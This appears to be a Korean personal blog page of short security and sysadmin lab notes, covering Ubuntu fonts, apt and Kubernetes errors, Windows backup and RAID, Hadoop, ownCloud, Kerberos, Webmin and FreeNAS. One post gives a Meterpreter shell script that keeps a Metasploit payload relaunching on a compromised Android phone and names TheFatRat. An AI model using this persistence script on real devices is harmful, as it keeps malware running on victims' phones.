일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- VMwares
- 마운트
- TrueCrypt
- 정보보안
- ipsec
- window
- network
- mount
- 윈도우서버
- VPN
- 제어판
- 예시
- 윈도우볼륨축소
- CentOS
- redhat
- 윈도우
- 실습
- Linux
- 프로젝트
- 네트워크
- backtrack
- 오류
- ㅂ
- debian
- 볼륨
- cybersecurity
- defrag
- BTr3
- DiskQuata
- Today
- Total
목록전체 글 (95)
정보 보안을 향한 항해
apt update apt -y --fix-broken install apt -y install fcitx-lib* fcitx-hangul fonts-nanum* reboot
1. 명령어 set AutoLoadStdapi true 2. 연결 후 영구 설정 meterpreter > shell Process 1 created. Channel 1 created. touch persistentscript.sh echo "#!/bin/sh while : do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity sleep 10 done " > persistentscript.sh sh persistentscript.sh 3. GitHub의 TheFatRat tool
apt update apt install fonts-nanum -y apt install fcitx-lib* -y apt install fcitx-hangul -y reboot 해결된다
보호되어 있는 글입니다.
보호되어 있는 글입니다.
sudo nano /etc/apt/sources.list E: The repository 'https://download.docker.com/linux/ubuntu Release' does not have a Release file. N: Updating from such a repository can't be done securely, and is therefore disabled by default. N: See apt-secure(8) manpage for repository creation and user configuration details. /etc/apt/sources.list 수정하면 된다다시 입력하면 해결된다sudo add-apt-repository "deb [arch=amd64] ht..
[kubelet-check] The HTTP call equal to 'curl -sSL http://localhost:10248/healthz' failed with error: Get "http://localhost:10248/healthz": dial tcp 127.0.0.1:10248: connect: connection refused. curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add - sudo nano /etc/apt/sources.list.d/kubernetes.list deb http://apt.kubernetes.io/ kubernetes-xenial main sudo apt-get updat..
DNS 임시 변경 /etc/resolv.conf 파일에서 nameserver로 지정된 IP를 원하는 DNS로 변경 $ nslookup을 통해 확인 현재 운영환경에 바로 반영 기존 nameserver 있을땐 병렬로 기입해야함 시스템 종료 및 재시작 시 설정 초기화 DNS 고정 systemd-resolve가 Uplink DNS Server로 사용된다 systemd-resolve의 설정이 Uplink DNS server로 사용함 systemd-resolve가 사용하는 환경 파일은 /etc/systemd/resolved.conf이다. $ sudo nano -c /etc/systemd/resolved.conf 운영 환경에 바로 반영되지 않고, Boot 시점에 적용된다 $ sudo systemd-resolve --..
[root@38bb2cfbe4c0 /]# git --version bash: git: command not found [root@38bb2cfbe4c0 /]# yum -y update ; sudo yum -y install git # docker commit [conttainer id] [images] nginx bitnami alpine ****************** 여기 size 를 더 줄일수도 있다 1.20.1-alpine 압축 등을 해서 1.20 alpine 이 가장 무난하다 nginx # sudo docker pull nginx 중복 되는 것들은 생략하고 다운 받는 다 # docker pull nginx 그래서 이게 단계가 나누어져 있는 것이다
Incremental Backup (증분백업) 바탕 화면에 용량 큰 폴더 붙여넣기 윈도우 서버 백업에서 ACTION 탭 증분백업 다시 백업하자 250mb 를 백업한다 두번째 백업에서 용량 감소함 증가분 백업 먼저 확인후 전체 백업한다 증가분 백업이 있으면 증가분 백업으로 한다 또 C 드라이브에 폴더 추가후 백업하니 증가분 백업이 된다 전체 백업으로 설정하는게 아닌 증가분 백업 설정하는 것이다 라스트 백업 외 다른 백업의 Detail 을 보고싶다면 더블클릭한다
Data Backup & Restore 윈도우는 Linux 의 Bacula 같은 별도의 프로그램 필요 없이 내장된 백업 프로그램을 사용할 수 있다. 별도 하드디스크 5기가 추가 관리자로 로그인 OK online & Basic 으로 디스크 추가 확인 볼륨명 변경(선택)후 Next 내 컴퓨터에서 생성한 볼륨 확인 밑에 윈도우즈 서버가 물려있고 활성화 되어있어야한다 백업후 복원하겠다 백업시작 기다리면 백업은 무조건 once 후 incredenments 로 해야한다 C 드라이브만 하기 때문에 custom C 드라이브 체크 추가 확인 백업 진행됨 용량 부족 용량 늘리고 다시 시도 30기가 추가 OK 백업한다 삭제 삭제한 폴더 선택 복구 확인
머신 종료 하드 1GB 3개 추가 Stripe with Parity 생성 실습 관리자로 로그온 3개 모두 online 으로 변경후 초기화한다. RAID는 동적 디스크가 되어야한다 우클릭 후 Convert to Dynamic Disk 로 변경 추가한 하드 디스크 모두 체크후 OK 3개 모두 Dynimic 으로 변경된다 우클릭 2번 3번 선택후 ADD finish 변경 완료 서버 매니저 닫고 컴퓨터로 들어가서 확인 몇개의 파일을 넣고 drive 가 제대로 작용하는지 확인한다 Windows 에도 RAID 를 걸수있다는 것 확인 아무 파일 추가후 Shutdown 하드디스크 하나 삭제 파일이 그대로 있는 것 확인 (data 확인) 파일 복원한다 shutdown 후 1GB 하나 추가 online 에 Basic 으로..
LVM 시도 하드 디스크 하나를 추가해서 파워 온 Create new volume 한 상태에서는 불가능하다 이 상태에서 LVM 성공 없애본다 YES 두개가 같이 없애지는 것 확인 내 컴퓨터로 가서 1GB 하드 디스크 두개가 합쳐진 volume 이 생성된 것 확인 가능
이런식으로 에러가뜨면 Lancher의 firefox를 실행해서 주소창에 http://localhost:50070 을 입력한다 bin/hadoop dfs 여러 옵션들이 뜬다 $ bin/hadoop dfsadmin 으로 dfsadmin의 옵션 또한 볼수있다 dir 만들고 jps 결과를 저장후 확인 bin/hadoop dfs - 명령어 뒤 linux 명령어를 작성하면 모두 사용가능하다 예를 들어 mkdir 한다면 실제 local 에 생성되지 않고 Cloud 속에 있는 것이다 파일 하나를 put (올린다) Cloud 에서 확인한다. Cloud 에 생성됐음을 확인한다 get 명령어로 가져올수도 있다 이 파일을 사용해서 wordcount 단어수 세기를 할것이다 $ bin/hadoop jar /usr/local/ha..
Hadoop 분산 파일시스템(HDFS: Hadoop Distributed File System)을 사용해서 데이터를 빠르게 저장하고 사용하게 해주는 시스템으로 여러 부가적인 서비스들이 있는데 이들을 묶어서 Hadoop EcoSystem이라고 부른다. 여기에는 ZooKeeper, Avro, Chukwa, Flume, Pig. Hive, Hbase, Sqoop, Impala, Woozie 등이 있다. 분산 파일 시스템이란 하나의 데이터를 일정하게 분할해서 최대 세 곳에 replicated 해서 저장해두는 시스템으로 실제 데이터를 저장하는 datanodelclient)와 이들을 통제하는 namenode(server)로 구성된다. 클라우드 시스템에서 사용되는데 실제 사용자 근처에 대이터를 배치시킴으로써 사용자가..
The following packages have unmet dependencies: mysql-server : Depends: mysql-server-5.5 but it is not going to be installed E: Unable to correct problems, you have held broken packages. Some packages could not be installed. This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been mov..
$ sbin /.start-dfs.sh 혹은 $ ssh hduser@localhost 연결시 뜨는 오류이다 $ ssh-keygen -t rsa -P ” -f ~/.ssh/id_rsa $ cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys $ chmod 0600 ~/.ssh/authorized_keys 및 수 ssh(하둡 데몬을 시작하지 않고) 네임 sudo nano -c /etc/ssh/sshd_config 에서 30줄에 hduser 추가 32줄 PubKeyAuthentication yes 33줄 AuthorizedKeysFile %h/.ssh/authorized_keys 주석 제거 52줄 PasswordAuthentication yes 88줄 UsePAM no 로 변경..
firefox 한다 너무 느리다면 메뉴바의 firefox 클릭후 주소 입력창에 ip 주소를 입력 초기 화면 이게 보인다면 ubuntu client 에서 작업해야한다 해당과정에서 Unable to connect 오류가 뜬다면 원본 수정 , 뒤에 공백이 없어야하며 마지막에는 반드시 ,가 있어야한다 10번째 줄을 확인한다 11번째줄 뒤에 자신의 ip 주소를 포함한 주소를 추가한다 뒤에 반드시 /owncloud 가 있어야하며 마지막에는 ,로 끝나야한다 서비스 재시작 # sudo service apache2 restart 이제 /var/www/owncloud 에 데이터를 저장하면 공유가 된다 centos1 에서 다시 접속한다 서버 설정 전의 화면이다 refresh 해주거나 창을 껏다 firefox 로 재접속하면 ..
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1. Set the 'ServerName' directive globally to suppress this message Action 'start' failed. The Apache error log may have more information. [fail] * The apache2 instance did not start within 20 seconds. Please read the log files to discover problems sudo: unable to resolve host ubuntu1 mysql sto..
ctrl + w 검색후 다음 단어로 이동하고 싶으면 다시 ctrl + w 후에 바로 엔터하면 된다
alt + / 마지막줄로 이동 ctrl + / 해당 줄로 이동
/etc/apache2/apache2.conf 마지막 줄에 Servername 127.0.0.1 추가한다 nano 편집기에서 마지막 줄로 가는 단축키는 alt + / # service mysql restart ; service apache2 restart 후에 다시 접속하면 해결된다
ubuntu1 을 owncloud server로 만든다 안해도 될것 같지만 apt-get udpate 해준다 # sudo apt-get update # apt-get -y install apache2 php5 php5-mysql php5-gd php5-curl mysql-server mysql 설치시 관리자 passwd 를 2번 물어본다 mysql data의 passwd 지정 mysql 들어간다 owncloud DB 생성후 passwd지정 localhost 생성 권한 갱신후 exit 다운 html dir 삭제 # tar xvfj owncloud-8.2.10.tar.bz2 -C /var/www/ -C 옵션으로 /var/www/ 밑에 풀어준다 ls -dl 로 소유자 www-data nogroup 인지 확인 ..
Kerberos 서버는 네트워크 인증 프로토콜이다. 티켓기반의 강력한 암호 인증을 호스트에 제공해서 클라이언트와 서버가 더욱 안전한 상태에서 통신하게 한다. 방화벽이 외부에서 침투하는 것을 알아낸다면 케버러스는 내부 네트워크에서의 침투를 알아낸다고 볼 수 있다. 현재 케버러스는 KRB5인데 서버에 설치해서 중앙에서 인증해주는 시스템으로써 KDC(Key Distribution Center)라고 한다. KDC 서버에 등록된 리얼 서버는 연결하는 클라이언트 호스트들에게서 신뢰를 가지게 된다. centos1 을 Kerberos server로 만들고 centos2 에서 centos3 로 ssh 로그인 하겠다 /etc/hosts 파일에서 FQDN 을 추가한다 192.168.100.128 centos1.kahn.ed..
centos2 에서 접속시 경고 뜬다 centos1 에서 view 클릭 여기서 centos2 로 ubuntu에 접속한 내역을 볼수있다 이게 webmin 이다 server에 webmin 을 하나 깔아두면 이것저것 작업을 편하게 수행할수있다 freeNAS에 DATA가 저장된다
Webmin 어느 서버 머신을 원격에서 접속해서 많은 유용한 작업을 웹상에서 수행하게해주는 종합 웹 관리도구이다. Ubuntu1 머신을 Apache 웹과 SSH 서버로 만들어서 CentOS1 머신에서 원격으로 들어가서 이 Ubuntu1 서버 머신을 관리한다. 실습하기 편하게 관리자로 전환한다. /etc/hosts 파일에 webmin.local 의 FQDN 을 추가한다 192.168.100.200 webmin.local NAS 서버 ip 를 추가한다. 설치하지 않고 모니터링만 # apt-get --no-install-recommends install mdadm # echo "dev http://download.webmin.com/download/repository sarge contrib" | sudo t..
NAS(Network Attached Storage) NAS는 네트워크로 연결된 저장장소인데 쉽게 말하면 LAN으로 연결된 외장 하드디스크 스택(stacked)의 개념이다. 컴퓨터에 직접 연결해서 쓰는 저장공간을 DAS(Direct Attached Storage)라고 하는데 내장형 하드디스크나 eSATA 규격의 외장 하드 디스크가 대표적이다. freeNAS 11.3 으로 실습한다 이름과 경로 설정 프로세스 1개 메모리 2개 나머지는 다 default 로 Next USB 는 삭제하지 않고 Sound 만 삭제한다 하드 5GB 4개 추가 그래야 NAS server가 된다 CD/DVD 에서 freeNAS.ios를 끼워준다 Power On 엔터 엔터 tab 키(화살표 가능) 로 yes 이동후 엔터 da0 첫번째 ..
원인 ca-bundles.crt가 너무 오래되면 생기는 오류이다 최신 버전의 CentOS로 업그레이드하지 않을 거라면 해결 방법은 epel.repo를 https 사용에서 http로 변경하는 것이다. [root@centos1 centos]# yum -y update Loaded plugins: fastestmirror, refresh-packagekit, security Setting up Update Process Loading mirror speeds from cached hostfile http://download.fedoraproject.org/pub/epel/6/x86_64/repodata/repomd.xml: [Errno 14] PYCURL ERROR 22 - "The requested URL ..
[root@centos1 centos]# yum -y update Loaded plugins: fastestmirror, refresh-packagekit, security Setting up Update Process Loading mirror speeds from cached hostfile http://download.fedoraproject.org/pub/epel/6/x86_64/repodata/repomd.xml: [Errno 14] PYCURL ERROR 22 - "The requested URL returned error: 404 Not Found" Trying other mirror. To address this issue please refer to the below wiki articl..